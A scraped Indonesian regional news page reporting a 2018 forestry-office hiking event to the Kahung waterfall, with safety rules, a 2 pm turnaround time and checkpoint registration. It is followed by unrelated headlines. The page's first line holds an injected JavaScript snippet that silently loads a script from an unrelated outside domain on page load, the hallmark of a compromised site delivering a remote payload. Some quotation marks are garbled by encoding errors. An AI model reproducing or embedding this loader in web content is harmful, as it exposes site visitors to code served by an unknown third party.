(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kepala Dinas Kehutanan Provinsi Kalsel Dr Hanif Faisol Nurofiq menekankan keamanan dan keselamatan peserta Kahung Journey merupakan prioritas utama. Hal tersebut dia sampaikan pada saat memimpin apel pagi di Lapangan Desa Belangian dalam rangkaian mengawali acara peringatan Hari Bakti Rimbawan dan Hari Hutan Internasional 2018 bertajuk ‘Kahung Journey’, Minggu (1/4) pagi.
“Keamanan dan keselamatan para peserta merupakan hal prioritas utama. Apabila pada pukul dua siang para peserta fun hiking dan lomba fotografi belum mencapai air terjun kahung besar, seluruh peserta diwajibkan kembali pulang menuju desa Belangian tanpa terkecuali dan tanpa alasan apa pun,†amanatnya di hadapan seluruh peserta.
Untuk memastikan hal tersebut, Hanif menginstruksikan kepada para panitia di lapangan agar mencatat dan meregestrasi seluruh peserta pada pos pintu gerbang di lapangan baik pada saat keberangkatan dan saat kepulangan satu per satu tanpa kecuali.
“Di setiap pos penjagaan harus menjadi orang yang terakhir pulang menuju desa. Hal tersebut dilakukan untuk memastikan seluruh peserta kegiatan kembali pulang menuju desa tanpa ada satu pun yang terlewatkan,â€ÂÂtegasnya.
Di tempat yang sama Kepala Desa Desa Belangian, Fahruddin menyampaikan rasa terima kasih kepada Dinas Kehutanan Kalsel selaku penyelenggara kegiatan karena telah menjadikan desa Belangian sebagai tempat penyelenggaraan acara.
Fahruddin juga menyampaikan hal-hal terkait aturan setempat yang harus diperhatikan dan wajib dipatuhi oleh seluruh peserta kegiatan pada saat memasuki kawasan hutan ‘perawan’ Kahung.
Apel pagi diakhiri penyerahan bantuan 50 batang bibit tanaman Kelengkeng yang diserahkan secara simbolis oleh Kadishut Kalsel kepada Pembakal desa Belangian.
Peserta fun hiking bergerak memulai perjalan menuju air terjun kahung besar pukul 07.00 pagi. Semua peserta diantar Tim Trail menuju Shelter Pertama atau Shelter Kembar secara bertahap, selanjutnya para peserta melanjutkan perjalanan ke tempat tujuan sesuai kondisi kemampuan peserta, sebab panitia hanya memberikan batas waktu hingga pukul 14.00 siang. Apabila peserta tidak mampu mencapai tujuan pada jam yang sudah ditentukan, maka para peserta diwajibkan ‘balik kanan’ pulang kembali menuju desa Belangian, demi keamanan seluruh peserta kegiatan.
Panitia juga menempatkan tim radio (komunikasi), tim keamanan, tim medis, dan tim evakuasi di setiap pos jalur fun hiking untuk menghindari dan meminimalisir hal-hal yang tidak diinginkan. (abdullah)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.